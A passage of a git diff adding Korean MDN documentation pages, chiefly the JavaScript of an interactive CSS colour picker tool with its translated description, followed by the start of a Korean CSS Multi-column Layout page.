+		if (value &lt; slider.min)	value = slider.min;
+
+		slider.value = value;
+		slider.node.setAttribute('data-value', value);
+
+		slider.setInputValue();
+
+		if (send_notify === false)
+			return;
+
+		notify.call(slider);
+	};
+
+	var setMax = function setMax(topic, value) {
+		var slider = sliders[topic];
+		if (slider === undefined)
+			return;
+
+		slider.max = value;
+		setValue(topic, slider.value);
+	};
+
+	var setMin = function setMin(topic, value) {
+		var slider = sliders[topic];
+		if (slider === undefined)
+			return;
+
+		slider.min = value;
+		setValue(topic, slider.value);
+	};
+
+	var setUnit = function setUnit(topic, unit) {
+		var slider = sliders[topic];
+		if (slider === undefined)
+			return;
+
+		slider.unit = unit;
+		setValue(topic, slider.value);
+	};
+
+	var setStep = function setStep(topic, value) {
+		var slider = sliders[topic];
+		if (slider === undefined)
+			return;
+
+		slider.step = parseFloat(value);
+		setValue(topic, slider.value);
+	};
+
+	var setPrecision = function setPrecision(topic, value) {
+		var slider = sliders[topic];
+		if (slider === undefined)
+			return;
+
+		value = value | 0;
+		slider.precision = value;
+
+		var step = parseFloat(slider.step.toFixed(value));
+		if (step === 0)
+			slider.step = 1 / Math.pow(10, value);
+
+		setValue(topic, slider.value);
+	};
+
+	var setSensivity = function setSensivity(topic, value) {
+		var slider = sliders[topic];
+		if (slider === undefined)
+			return;
+
+		value = value | 0;
+
+		slider.sensivity = value &gt; 0 ? value : 5;
+	};
+
+	var getNode =  function getNode(topic) {
+		return sliders[topic].node;
+	};
+
+	var getPrecision =  function getPrecision(topic) {
+		return sliders[topic].precision;
+	};
+
+	var getStep =  function getStep(topic) {
+		return sliders[topic].step;
+	};
+
+	var subscribe = function subscribe(topic, callback) {
+		if (subscribers[topic] === undefined)
+			subscribers[topic] = [];
+		subscribers[topic].push(callback);
+	};
+
+	var unsubscribe = function unsubscribe(topic, callback) {
+		subscribers[topic].indexOf(callback);
+		subscribers[topic].splice(index, 1);
+	};
+
+	var notify = function notify() {
+		if (subscribers[this.topic] === undefined)
+			return;
+		for (var i = 0; i &lt; subscribers[this.topic].length; i++)
+			subscribers[this.topic][i](this.value);
+	};
+
+	var createSlider = function createSlider(topic, label) {
+		var slider = document.createElement('div');
+		slider.className = 'ui-input-slider';
+		slider.setAttribute('data-topic', topic);
+
+		if (label !== undefined)
+			slider.setAttribute('data-info', label);
+
+		new InputSlider(slider);
+		return slider;
+	};
+
+	var init = function init() {
+		var elem = document.querySelectorAll('.ui-input-slider');
+		var size = elem.length;
+		for (var i = 0; i &lt; size; i++)
+			new InputSlider(elem[i]);
+	};
+
+	return {
+		init : init,
+		setMax : setMax,
+		setMin : setMin,
+		setUnit : setUnit,
+		setStep : setStep,
+		getNode : getNode,
+		getStep : getStep,
+		setValue : setValue,
+		subscribe : subscribe,
+		unsubscribe : unsubscribe,
+		setPrecision : setPrecision,
+		setSensivity : setSensivity,
+		getPrecision : getPrecision,
+		createSlider : createSlider,
+	};
+
+})();
+
+
+'use strict';
+
+window.addEventListener("load", function() {
+	ColorPickerTool.init();
+});
+
+var ColorPickerTool = (function ColorPickerTool() {
+
+	/*========== Get DOM Element By ID ==========*/
+
+	function getElemById(id) {
+		return document.getElementById(id);
+	}
+
+	function allowDropEvent(e) {
+		e.preventDefault();
+	}
+
+	/*========== Make an element resizable relative to it's parent ==========*/
+
+	var UIComponent = (function UIComponent() {
+
+		function makeResizable(elem, axis) {
+			var valueX = 0;
+			var valueY = 0;
+			var action = 0;
+
+			var resizeStart = function resizeStart(e) {
+				e.stopPropagation();
+				e.preventDefault();
+				if (e.button !== 0)
+					return;
+
+				valueX = e.clientX - elem.clientWidth;
+				valueY = e.clientY - elem.clientHeight;
+
+				document.body.setAttribute('data-resize', axis);
+				document.addEventListener('mousemove', mouseMove);
+				document.addEventListener('mouseup', resizeEnd);
+			};
+
+			var mouseMove = function mouseMove(e) {
+				if (action &gt;= 0)
+					elem.style.width = e.clientX - valueX + 'px';
+				if (action &lt;= 0)
+					elem.style.height = e.clientY - valueY + 'px';
+			};
+
+			var resizeEnd = function resizeEnd(e) {
+				if (e.button !== 0)
+					return;
+
+				document.body.removeAttribute('data-resize', axis);
+				document.removeEventListener('mousemove', mouseMove);
+				document.removeEventListener('mouseup', resizeEnd);
+			};
+
+			var handle = document.createElement('div');
+			handle.className = 'resize-handle';
+
+			if (axis === 'width') action = 1;
+			else if (axis === 'height') action = -1;
+			else axis = 'both';
+
+			handle.className = 'resize-handle';
+			handle.setAttribute('data-resize', axis);
+			handle.addEventListener('mousedown', resizeStart);
+			elem.appendChild(handle);
+		};
+
+		/*========== Make an element draggable relative to it's parent ==========*/
+
+		var makeDraggable = function makeDraggable(elem, endFunction) {
+
+			var offsetTop;
+			var offsetLeft;
+
+			elem.setAttribute('data-draggable', 'true');
+
+			var dragStart = function dragStart(e) {
+				e.preventDefault();
+				e.stopPropagation();
+
+				if (e.target.getAttribute('data-draggable') !== 'true' ||
+					e.target !== elem || e.button !== 0)
+					return;
+
+				offsetLeft = e.clientX - elem.offsetLeft;
+				offsetTop = e.clientY - elem.offsetTop;
+
+				document.addEventListener('mousemove', mouseDrag);
+				document.addEventListener('mouseup', dragEnd);
+			};
+
+			var dragEnd = function dragEnd(e) {
+				if (e.button !== 0)
+					return;
+
+				document.removeEventListener('mousemove', mouseDrag);
+				document.removeEventListener('mouseup', dragEnd);
+			};
+
+			var mouseDrag = function mouseDrag(e) {
+				elem.style.left = e.clientX - offsetLeft + 'px';
+				elem.style.top = e.clientY - offsetTop + 'px';
+			};
+
+			elem.addEventListener('mousedown', dragStart, false);
+		};
+
+		return {
+			makeResizable : makeResizable,
+			makeDraggable : makeDraggable
+		};
+
+	})();
+
+	/*========== Color Class ==========*/
+
+	var Color = UIColorPicker.Color;
+	var HSLColor = UIColorPicker.HSLColor;
+
+	/**
+	 * ColorPalette
+	 */
+	var ColorPalette = (function ColorPalette() {
+
+		var samples = [];
+		var color_palette;
+		var complementary;
+
+		var hideNode = function(node) {
+			node.setAttribute('data-hidden', 'true');
+		};
+
+		var ColorSample = function ColorSample(id) {
+			var node = document.createElement('div');
+			node.className = 'sample';
+
+			this.uid = samples.length;
+			this.node = node;
+			this.color = new Color();
+
+			node.setAttribute('sample-id', this.uid);
+			node.setAttribute('draggable', 'true');
+			node.addEventListener('dragstart', this.dragStart.bind(this));
+			node.addEventListener('click', this.pickColor.bind(this));
+
+			samples.push(this);
+		};
+
+		ColorSample.prototype.updateBgColor = function updateBgColor() {
+			this.node.style.backgroundColor = this.color.getColor();
+		};
+
+		ColorSample.prototype.updateColor = function updateColor(color) {
+			this.color.copy(color);
+			this.updateBgColor();
+		};
+
+		ColorSample.prototype.updateHue = function updateHue(color, degree, steps) {
+			this.color.copy(color);
+			var hue = (steps * degree + this.color.hue) % 360;
+			if (hue &lt; 0) hue += 360;
+			this.color.setHue(hue);
+			this.updateBgColor();
+		};
+
+		ColorSample.prototype.updateSaturation = function updateSaturation(color, value, steps) {
+			var saturation = color.saturation + value * steps;
+			if (saturation &lt;= 0) {
+				this.node.setAttribute('data-hidden', 'true');
+				return;
+			}
+
+			this.node.removeAttribute('data-hidden');
+			this.color.copy(color);
+			this.color.setSaturation(saturation);
+			this.updateBgColor();
+		};
+
+		ColorSample.prototype.updateLightness = function updateLightness(color, value, steps) {
+			var lightness = color.lightness + value * steps;
+			if (lightness &lt;= 0) {
+				this.node.setAttribute('data-hidden', 'true');
+				return;
+			}
+			this.node.removeAttribute('data-hidden');
+			this.color.copy(color);
+			this.color.setLightness(lightness);
+			this.updateBgColor();
+		};
+
+		ColorSample.prototype.updateBrightness = function updateBrightness(color, value, steps) {
+			var brightness = color.value + value * steps;
+			if (brightness &lt;= 0) {
+				this.node.setAttribute('data-hidden', 'true');
+				return;
+			}
+			this.node.removeAttribute('data-hidden');
+			this.color.copy(color);
+			this.color.setValue(brightness);
+			this.updateBgColor();
+		};
+
+		ColorSample.prototype.updateAlpha = function updateAlpha(color, value, steps) {
+			var alpha = parseFloat(color.a) + value * steps;
+			if (alpha &lt;= 0) {
+				this.node.setAttribute('data-hidden', 'true');
+				return;
+			}
+			this.node.removeAttribute('data-hidden');
+			this.color.copy(color);
+			this.color.a = parseFloat(alpha.toFixed(2));
+			this.updateBgColor();
+		};
+
+		ColorSample.prototype.pickColor = function pickColor() {
+			UIColorPicker.setColor('picker', this.color);
+		};
+
+		ColorSample.prototype.dragStart = function dragStart(e) {
+			e.dataTransfer.setData('sampleID', this.uid);
+			e.dataTransfer.setData('location', 'palette-samples');
+		};
+
+		var Palette = function Palette(text, size) {
+			this.samples = [];
+			this.locked = false;
+
+			var palette = document.createElement('div');
+			var title = document.createElement('div');
+			var controls = document.createElement('div');
+			var container = document.createElement('div');
+			var lock = document.createElement('div');
+
+			container.className = 'container';
+			title.className = 'title';
+			palette.className = 'palette';
+			controls.className = 'controls';
+			lock.className = 'lock';
+			title.textContent = text;
+
+			controls.appendChild(lock);
+			container.appendChild(title);
+			container.appendChild(controls);
+			container.appendChild(palette);
+
+			lock.addEventListener('click', function () {
+				this.locked = !this.locked;
+				lock.setAttribute('locked-state', this.locked);
+			}.bind(this));
+
+			for(var i = 0; i &lt; size; i++) {
+				var sample = new ColorSample();
+				this.samples.push(sample);
+				palette.appendChild(sample.node);
+			}
+
+			this.container = container;
+			this.title = title;
+		};
+
+		var createHuePalette = function createHuePalette() {
+			var palette = new Palette('Hue', 12);
+
+			UIColorPicker.subscribe('picker', function(color) {
+				if (palette.locked === true)
+					return;
+
+				for(var i = 0; i &lt; 12; i++) {
+					palette.samples[i].updateHue(color, 30, i);
+				}
+			});
+
+			color_palette.appendChild(palette.container);
+		};
+
+		var createSaturationPalette = function createSaturationPalette() {
+			var palette = new Palette('Saturation', 11);
+
+			UIColorPicker.subscribe('picker', function(color) {
+				if (palette.locked === true)
+					return;
+
+				for(var i = 0; i &lt; 11; i++) {
+					palette.samples[i].updateSaturation(color, -10, i);
+				}
+			});
+
+			color_palette.appendChild(palette.container);
+		};
+
+		/* Brightness or Lightness - depends on the picker mode */
+		var createVLPalette = function createSaturationPalette() {
+			var palette = new Palette('Lightness', 11);
+
+			UIColorPicker.subscribe('picker', function(color) {
+				if (palette.locked === true)
+					return;
+
+				if(color.format === 'HSL') {
+					palette.title.textContent = 'Lightness';
+					for(var i = 0; i &lt; 11; i++)
+						palette.samples[i].updateLightness(color, -10, i);
+				}
+				else {
+					palette.title.textContent = 'Value';
+					for(var i = 0; i &lt; 11; i++)
+						palette.samples[i].updateBrightness(color, -10, i);
+				}
+			});
+
+			color_palette.appendChild(palette.container);
+		};
+
+		var isBlankPalette = function isBlankPalette(container, value) {
+			if (value === 0) {
+				container.setAttribute('data-collapsed', 'true');
+				return true;
+			}
+
+			container.removeAttribute('data-collapsed');
+			return false;
+		};
+
+		var createAlphaPalette = function createAlphaPalette() {
+			var palette = new Palette('Alpha', 10);
+
+			UIColorPicker.subscribe('picker', function(color) {
+				if (palette.locked === true)
+					return;
+
+				for(var i = 0; i &lt; 10; i++) {
+					palette.samples[i].updateAlpha(color, -0.1, i);
+				}
+			});
+
+			color_palette.appendChild(palette.container);
+		};
+
+		var getSampleColor = function getSampleColor(id) {
+			if (samples[id] !== undefined &amp;&amp; samples[id]!== null)
+				return new Color(samples[id].color);
+		};
+
+		var init = function init() {
+			color_palette = getElemById('color-palette');
+
+			createHuePalette();
+			createSaturationPalette();
+			createVLPalette();
+			createAlphaPalette();
+
+		};
+
+		return {
+			init : init,
+			getSampleColor : getSampleColor
+		};
+
+	})();
+
+	/**
+	 * ColorInfo
+	 */
+	var ColorInfo = (function ColorInfo() {
+
+		var info_box;
+		var select;
+		var RGBA;
+		var HEXA;
+		var HSLA;
+
+		var updateInfo = function updateInfo(color) {
+			if (color.a | 0 === 1) {
+				RGBA.info.textContent = 'RGB';
+				HSLA.info.textContent = 'HSL';
+			}
+			else {
+				RGBA.info.textContent = 'RGBA';
+				HSLA.info.textContent = 'HSLA';
+			}
+
+			RGBA.value.value = color.getRGBA();
+			HSLA.value.value = color.getHSLA();
+			HEXA.value.value = color.getHexa();
+		};
+
+		var InfoProperty = function InfoProperty(info) {
+
+			var node = document.createElement('div');
+			var title = document.createElement('div');
+			var value = document.createElement('input');
+			var copy = document.createElement('div');
+
+			node.className = 'property';
+			title.className = 'type';
+			value.className = 'value';
+			copy.className = 'copy';
+
+			title.textContent = info;
+			value.setAttribute('type', 'text');
+
+			copy.addEventListener('click', function() {
+				value.select();
+			});
+
+			node.appendChild(title);
+			node.appendChild(value);
+			node.appendChild(copy);
+
+			this.node = node;
+			this.value = value;
+			this.info = title;
+
+			info_box.appendChild(node);
+		};
+
+		var init = function init() {
+
+			info_box = getElemById('color-info');
+
+			RGBA = new InfoProperty('RGBA');
+			HSLA = new InfoProperty('HSLA');
+			HEXA = new InfoProperty('HEXA');
+
+			UIColorPicker.subscribe('picker', updateInfo);
+
+		};
+
+		return {
+			init: init
+		};
+
+	})();
+
+	/**
+	 * ColorPicker Samples
+	 */
+	var ColorPickerSamples = (function ColorPickerSamples() {
+
+		var samples = [];
+		var nr_samples = 0;
+		var active = null;
+		var container = null;
+		var	samples_per_line = 10;
+		var trash_can = null;
+		var base_color = new HSLColor(0, 50, 100);
+		var add_btn;
+		var add_btn_pos;
+
+		var ColorSample = function ColorSample() {
+			var node = document.createElement('div');
+			node.className = 'sample';
+
+			this.uid = samples.length;
+			this.index = nr_samples++;
+			this.node = node;
+			this.color = new Color(base_color);
+
+			node.setAttribute('sample-id', this.uid);
+			node.setAttribute('draggable', 'true');
+
+			node.addEventListener('dragstart', this.dragStart.bind(this));
+			node.addEventListener('dragover' , allowDropEvent);
+			node.addEventListener('drop'     , this.dragDrop.bind(this));
+
+			this.updatePosition(this.index);
+			this.updateBgColor();
+			samples.push(this);
+		};
+
+		ColorSample.prototype.updateBgColor = function updateBgColor() {
+			this.node.style.backgroundColor = this.color.getColor();
+		};
+
+		ColorSample.prototype.updatePosition = function updatePosition(index) {
+			this.index = index;
+			this.posY = 5 + ((index / samples_per_line) | 0) * 52;
+			this.posX = 5 + ((index % samples_per_line) | 0) * 52;
+			this.node.style.top  = this.posY + 'px';
+			this.node.style.left = this.posX + 'px';
+		};
+
+		ColorSample.prototype.updateColor = function updateColor(color) {
+			this.color.copy(color);
+			this.updateBgColor();
+		};
+
+		ColorSample.prototype.activate = function activate() {
+			UIColorPicker.setColor('picker', this.color);
+			this.node.setAttribute('data-active', 'true');
+		};
+
+		ColorSample.prototype.deactivate = function deactivate() {
+			this.node.removeAttribute('data-active');
+		};
+
+		ColorSample.prototype.dragStart = function dragStart(e) {
+			e.dataTransfer.setData('sampleID', this.uid);
+			e.dataTransfer.setData('location', 'picker-samples');
+		};
+
+		ColorSample.prototype.dragDrop = function dragDrop(e) {
+			e.stopPropagation();
+			this.color = Tool.getSampleColorFrom(e);
+			this.updateBgColor();
+		};
+
+		ColorSample.prototype.deleteSample = function deleteSample() {
+			container.removeChild(this.node);
+			samples[this.uid] = null;
+			nr_samples--;
+		};
+
+		var updateUI = function updateUI() {
+			updateContainerProp();
+
+			var index = 0;
+			var nr = samples.length;
+			for (var i=0; i &lt; nr; i++)
+				if (samples[i] !== null) {
+					samples[i].updatePosition(index);
+					index++;
+				}
+
+			AddSampleButton.updatePosition(index);
+		};
+
+		var deleteSample = function deleteSample(e) {
+			trash_can.parentElement.setAttribute('drag-state', 'none');
+
+			var location = e.dataTransfer.getData('location');
+			if (location !== 'picker-samples')
+				return;
+
+			var sampleID = e.dataTransfer.getData('sampleID');
+			samples[sampleID].deleteSample();
+			console.log(samples);
+
+			updateUI();
+		};
+
+		var createDropSample = function createDropSample() {
+			var sample = document.createElement('div');
+			sample.id = 'drop-effect-sample';
+			sample.className = 'sample';
+			container.appendChild(sample);
+		};
+
+		var setActivateSample = function setActivateSample(e) {
+			if (e.target.className !== 'sample')
+				return;
+
+			unsetActiveSample(active);
+			Tool.unsetVoidSample();
+			CanvasSamples.unsetActiveSample();
+			active = samples[e.target.getAttribute('sample-id')];
+			active.activate();
+		};
+
+		var unsetActiveSample = function unsetActiveSample() {
+			if (active)
+				active.deactivate();
+			active = null;
+		};
+
+		var getSampleColor = function getSampleColor(id) {
+			if (samples[id] !== undefined &amp;&amp; samples[id]!== null)
+				return new Color(samples[id].color);
+		};
+
+		var updateContainerProp = function updateContainerProp() {
+			samples_per_line = ((container.clientWidth - 5) / 52) | 0;
+			var height = 52 * (1 + (nr_samples / samples_per_line) | 0);
+			container.style.height = height + 10 + 'px';
+		};
+
+		var AddSampleButton = (function AddSampleButton() {
+			var node;
+			var _index = 0;
+			var _posX;
+			var _posY;
+
+			var updatePosition = function updatePosition(index) {
+				_index = index;
+				_posY = 5 + ((index / samples_per_line) | 0) * 52;
+				_posX = 5 + ((index % samples_per_line) | 0) * 52;
+
+				node.style.top  = _posY + 'px';
+				node.style.left = _posX + 'px';
+			};
+
+			var addButtonClick = function addButtonClick() {
+				var sample = new ColorSample();
+				container.appendChild(sample.node);
+				updatePosition(_index + 1);
+				updateUI();
+			};
+
+			var init = function init() {
+				node = document.createElement('div');
+				var icon = document.createElement('div');
+
+				node.className = 'sample';
+				icon.id = 'add-icon';
+				node.appendChild(icon);
+				node.addEventListener('click', addButtonClick);
+
+				updatePosition(0);
+				container.appendChild(node);
+			};
+
+			return {
+				init : init,
+				updatePosition : updatePosition
+			};
+		})();
+
+		var init = function init() {
+			container = getElemById('picker-samples');
+			trash_can = getElemById('trash-can');
+
+			AddSampleButton.init();
+
+			for (var i=0; i&lt;16; i++) {
+				var sample = new ColorSample();
+				container.appendChild(sample.node);
+			}
+
+			AddSampleButton.updatePosition(samples.length);
+			updateUI();
+
+			active = samples[0];
+			active.activate();
+
+			container.addEventListener('click', setActivateSample);
+
+			trash_can.addEventListener('dragover', allowDropEvent);
+			trash_can.addEventListener('dragenter', function() {
+				this.parentElement.setAttribute('drag-state', 'enter');
+			});
+			trash_can.addEventListener('dragleave', function(e) {
+				this.parentElement.setAttribute('drag-state', 'none');
+			});
+			trash_can.addEventListener('drop', deleteSample);
+
+			UIColorPicker.subscribe('picker', function(color) {
+				if (active)
+					active.updateColor(color);
+			});
+
+		};
+
+		return {
+			init : init,
+			getSampleColor : getSampleColor,
+			unsetActiveSample : unsetActiveSample
+		};
+
+	})();
+
+	/**
+	 * Canvas Samples
+	 */
+	var CanvasSamples = (function CanvasSamples() {
+
+		var active = null;
+		var canvas = null;
+		var samples = [];
+		var zindex = null;
+		var tutorial = true;
+
+		var CanvasSample = function CanvasSample(color, posX, posY) {
+
+			var node = document.createElement('div');
+			var pick = document.createElement('div');
+			var delete_btn = document.createElement('div');
+			node.className = 'sample';
+			pick.className = 'pick';
+			delete_btn.className = 'delete';
+
+			this.uid = samples.length;
+			this.node = node;
+			this.color = color;
+			this.updateBgColor();
+			this.zIndex = 1;
+
+			node.style.top = posY - 50 + 'px';
+			node.style.left = posX - 50 + 'px';
+			node.setAttribute('sample-id', this.uid);
+
+			node.appendChild(pick);
+			node.appendChild(delete_btn);
+
+			var activate = function activate() {
+				setActiveSample(this);
+			}.bind(this);
+
+			node.addEventListener('dblclick', activate);
+			pick.addEventListener('click', activate);
+			delete_btn.addEventListener('click', this.deleteSample.bind(this));
+
+			UIComponent.makeDraggable(node);
+			UIComponent.makeResizable(node);
+
+			samples.push(this);
+			canvas.appendChild(node);
+			return this;
+		};
+
+		CanvasSample.prototype.updateBgColor = function updateBgColor() {
+			this.node.style.backgroundColor = this.color.getColor();
+		};
+
+		CanvasSample.prototype.updateColor = function updateColor(color) {
+			this.color.copy(color);
+			this.updateBgColor();
+		};
+
+		CanvasSample.prototype.updateZIndex = function updateZIndex(value) {
+			this.zIndex = value;
+			this.node.style.zIndex = value;
+		};
+
+		CanvasSample.prototype.activate = function activate() {
+			this.node.setAttribute('data-active', 'true');
+			zindex.setAttribute('data-active', 'true');
+
+			UIColorPicker.setColor('picker', this.color);
+			InputSliderManager.setValue('z-index', this.zIndex);
+		};
+
+		CanvasSample.prototype.deactivate = function deactivate() {
+			this.node.removeAttribute('data-active');
+			zindex.removeAttribute('data-active');
+		};
+
+		CanvasSample.prototype.deleteSample = function deleteSample() {
+			if (active === this)
+				unsetActiveSample();
+			canvas.removeChild(this.node);
+			samples[this.uid] = null;
+		};
+
+		CanvasSample.prototype.updatePosition = function updatePosition(posX, posY) {
+			this.node.style.top = posY - this.startY + 'px';
+			this.node.style.left = posX - this.startX + 'px';
+		};
+
+		var canvasDropEvent = function canvasDropEvent(e) {
+			var color = Tool.getSampleColorFrom(e);
+
+			if (color) {
+				var offsetX = e.pageX - canvas.offsetLeft;
+				var offsetY = e.pageY - canvas.offsetTop;
+				var sample = new CanvasSample(color, offsetX, offsetY);
+				if (tutorial) {
+					tutorial = false;
+					canvas.removeAttribute('data-tutorial');
+					var info = new CanvasSample(new Color(), 100, 100);
+					info.node.setAttribute('data-tutorial', 'dblclick');
+				}
+			}
+
+		};
+
+		var setActiveSample = function setActiveSample(sample) {
+			ColorPickerSamples.unsetActiveSample();
+			Tool.unsetVoidSample();
+			unsetActiveSample();
+			active = sample;
+			active.activate();
+		};
+
+		var unsetActiveSample = function unsetActiveSample() {
+			if (active)
+				active.deactivate();
+			active = null;
+		};
+
+		var createToggleBgButton = function createToggleBgButton() {
+			var button = document.createElement('div');
+			var state = false;
+			button.className = 'toggle-bg';
+			canvas.appendChild(button);
+
+			button.addEventListener('click', function() {
+				console.log(state);
+				state = !state;
+				canvas.setAttribute('data-bg', state);
+			});
+		};
+
+		var init = function init() {
+			canvas = getElemById('canvas');
+			zindex = getElemById('zindex');
+
+			canvas.addEventListener('dragover', allowDropEvent);
+			canvas.addEventListener('drop', canvasDropEvent);
+
+			createToggleBgButton();
+
+			UIColorPicker.subscribe('picker', function(color) {
+				if (active)	active.updateColor(color);
+			});
+
+			InputSliderManager.subscribe('z-index', function (value) {
+				if (active)	active.updateZIndex(value);
+			});
+
+			UIComponent.makeResizable(canvas, 'height');
+		};
+
+		return {
+			init : init,
+			unsetActiveSample : unsetActiveSample
+		};
+
+	})();
+
+	var StateButton = function StateButton(node, state) {
+		this.state = false;
+		this.callback = null;
+
+		node.addEventListener('click', function() {
+			this.state = !this.state;
+			if (typeof this.callback === "function")
+				this.callback(this.state);
+		}.bind(this));
+	};
+
+	StateButton.prototype.set = function set() {
+		this.state = true;
+		if (typeof this.callback === "function")
+			this.callback(this.state);
+	};
+
+	StateButton.prototype.unset = function unset() {
+		this.state = false;
+		if (typeof this.callback === "function")
+			this.callback(this.state);
+	};
+
+	StateButton.prototype.subscribe = function subscribe(func) {
+		this.callback = func;
+	};
+
+
+	/**
+	 * Tool
+	 */
+	var Tool = (function Tool() {
+
+		var samples = [];
+		var controls = null;
+		var void_sw;
+
+		var createPickerModeSwitch = function createPickerModeSwitch() {
+			var parent = getElemById('controls');
+			var icon = document.createElement('div');
+			var button = document.createElement('div');
+			var hsv = document.createElement('div');
+			var hsl = document.createElement('div');
+			var active = null;
+
+			icon.className = 'icon picker-icon';
+			button.className = 'switch';
+			button.appendChild(hsv);
+			button.appendChild(hsl);
+
+			hsv.textContent = 'HSV';
+			hsl.textContent = 'HSL';
+
+			active = hsl;
+			active.setAttribute('data-active', 'true');
+
+			function switchPickingModeTo(elem) {
+				active.removeAttribute('data-active');
+				active = elem;
+				active.setAttribute('data-active', 'true');
+				UIColorPicker.setPickerMode('picker', active.textContent);
+			};
+
+			var picker_sw = new StateButton(icon);
+			picker_sw.subscribe(function() {
+				if (active === hsv)
+					switchPickingModeTo(hsl);
+				else
+					switchPickingModeTo(hsv);
+			});
+
+			hsv.addEventListener('click', function() {
+				switchPickingModeTo(hsv);
+			});
+			hsl.addEventListener('click', function() {
+				switchPickingModeTo(hsl);
+			});
+
+			parent.appendChild(icon);
+			parent.appendChild(button);
+		};
+
+		var setPickerDragAndDrop = function setPickerDragAndDrop() {
+			var preview = document.querySelector('#picker .preview-color');
+			var picking_area = document.querySelector('#picker .picking-area');
+
+			preview.setAttribute('draggable', 'true');
+			preview.addEventListener('drop', drop);
+			preview.addEventListener('dragstart', dragStart);
+			preview.addEventListener('dragover', allowDropEvent);
+
+			picking_area.addEventListener('drop', drop);
+			picking_area.addEventListener('dragover', allowDropEvent);
+
+			function drop(e) {
+				var color = getSampleColorFrom(e);
+				UIColorPicker.setColor('picker', color);
+			};
+
+			function dragStart(e) {
+				e.dataTransfer.setData('sampleID', 'picker');
+				e.dataTransfer.setData('location', 'picker');
+			};
+		};
+
+		var getSampleColorFrom = function getSampleColorFrom(e) {
+			var sampleID = e.dataTransfer.getData('sampleID');
+			var location = e.dataTransfer.getData('location');
+
+			if (location === 'picker')
+				return UIColorPicker.getColor(sampleID);
+			if (location === 'picker-samples')
+				return ColorPickerSamples.getSampleColor(sampleID);
+			if (location === 'palette-samples')
+				return ColorPalette.getSampleColor(sampleID);
+		};
+
+		var setVoidSwitch = function setVoidSwitch() {
+			var void_sample = getElemById('void-sample');
+			void_sw = new StateButton(void_sample);
+			void_sw.subscribe( function (state) {
+				void_sample.setAttribute('data-active', state);
+				if (state === true) {
+					ColorPickerSamples.unsetActiveSample();
+					CanvasSamples.unsetActiveSample();
+				}
+			});
+		};
+
+		var unsetVoidSample = function unsetVoidSample() {
+			void_sw.unset();
+		};
+
+		var init = function init() {
+			controls = getElemById('controls');
+
+			var color = new Color();
+			color.setHSL(0, 51, 51);
+			UIColorPicker.setColor('picker', color);
+
+			setPickerDragAndDrop();
+			createPickerModeSwitch();
+			setVoidSwitch();
+		};
+
+		return {
+			init : init,
+			unsetVoidSample : unsetVoidSample,
+			getSampleColorFrom : getSampleColorFrom
+		};
+
+	})();
+
+	var init = function init() {
+		UIColorPicker.init();
+		InputSliderManager.init();
+		ColorInfo.init();
+		ColorPalette.init();
+		ColorPickerSamples.init();
+		CanvasSamples.init();
+		Tool.init();
+	};
+
+	return {
+		init : init
+	};
+
+})();
+</pre>
+</div>
+
+<p>{{CSSRef}}</p>
+
+<p><font><font>이 도구를 사용하면 웹용 사용자 정의 색상을 쉽게 만들고 조정하고 실험 할 수 있습니다. </font></font><font><font>또한 </font><font>HEXA 색상, RGB (빨강 / 녹색 / 파랑) 및 HSL (색조 / 채도 / 밝기)를 비롯하여 </font><a href="https://developer.mozilla.org/en-US/docs/Web/CSS"><font>CSS</font></a><font> 에서 </font><font>지원하는 </font><font>다양한 </font></font><a href="https://developer.mozilla.org/en-US/docs/Web/CSS/color_value"><font><font>색상 형식</font></font></a><font><font> 간에 쉽게 변환 할 수 </font><a href="https://developer.mozilla.org/en-US/docs/Web/CSS/color_value"><font>있습니다</font></a><font> . </font><font>RGB (rgba) 및 HSL (hsla) 형식에서도 알파 채널을 제어 할 수 있습니다.</font></font></p>
+
+<p><font><font>색상을 정의하는 매개 변수를 조정하면 세 가지 표준 웹 CSS 형식으로 모두 표시됩니다. </font><font>또한 현재 선택한 색상을 기반으로 HSL 및 HSV 용 팔레트와 알파가 생성됩니다. </font><font>"스포이드"스타일 색상 선택 도구 상자는 HSL 또는 HSV 형식으로 전환 할 수 있습니다. </font><font>도구의 바닥에있는 상자로 색상을 드래그하고 서로 위로 움직여 색상을 비교할 수 있습니다. </font><font>상대 Z 색인 값을 조정하여 서로를 앞뒤로 이동하십시오.</font></font></p>
+
+<p><font><font>이 도구는 </font></font><a href="https://developer.mozilla.org/en-US/docs/Web/HTML"><font><font>HTML</font></font></a><font><font> 에 적용 할 완벽한 CSS 색상을 식별하는 데 도움을줍니다 </font><font>.</font></font></p>
+
+<p> </p>
+
+<p> </p>
+
+<p><font><font>{{EmbedLiveSample ( 'ColorPicker_Tool', '100 %', '900')}}</font></font></p>
+
+<p><font><font>위에서 작성한 생성 된 색상은 달리 명시하지 않는 한 CSS 및 HTML에서 색상이 사용되는 모든 위치에서 사용할 수 있습니다.</font></font></p>
+
+<p> </p>
+
+<p> </p>
+
+<h2 id="See_also">See also</h2>
+
+<p>For more on using color, see:</p>
+
+<ul>
+ <li><a href="/en-US/docs/Web/HTML/Applying_color">Applying color to HTML elements using CSS</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/Styling_text/Fundamentals">Fundamental text and font styling</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/Styling_boxes/Borders">Styling borders using CSS</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/Styling_boxes/Backgrounds">Changing background styles using CSS</a></li>
+ <li><a href="/en-US/docs/Learn/Accessibility/CSS_and_JavaScript#Color_and_color_contrast">Color and color contrast</a></li>
+</ul>
diff --git a/files/ko/web/css/css_columns/index.html b/files/ko/web/css/css_columns/index.html
new file mode 100644
index 0000000000..efe31f5761
--- /dev/null
+++ b/files/ko/web/css/css_columns/index.html
@@ -0,0 +1,89 @@
+---
+title: CSS Multi-column Layout
+slug: Web/CSS/CSS_Columns
+tags:
+  - CSS
+  - CSS Multi-column Layout
+  - Layout
+  - Overview
+  - Reference
+translation_of: Web/CSS/CSS_Columns
+---
+<div>{{CSSRef}}</div>
+
+<p><strong>CSS Multi-column Layout</strong>은 다단 레이아웃을 정의하는 CSS 모듈입니다. 레이아웃에서 단의 숫자와 콘텐츠가 하나의 단에서 다른 단으로 흐르는 방식, 단 사이의 간격, 구분선과 구분선의 모양 등의 지원을 포함하고 있습니다.</p>
+
+<h2 id="참고">참고</h2>
+
+<h3 id="CSS_속성">CSS 속성</h3>
+
+<div class="index">
+<ul>
+ <li>{{cssxref("break-after")}}</li>
+ <li>{{cssxref("break-before")}}</li>
+ <li>{{cssxref("break-inside")}}</li>
+ <li>{{cssxref("column-count")}}</li>
+ <li>{{cssxref("column-fill")}}</li>
+ <li>{{cssxref("column-gap")}}</li>
+ <li>{{cssxref("column-rule")}}</li>
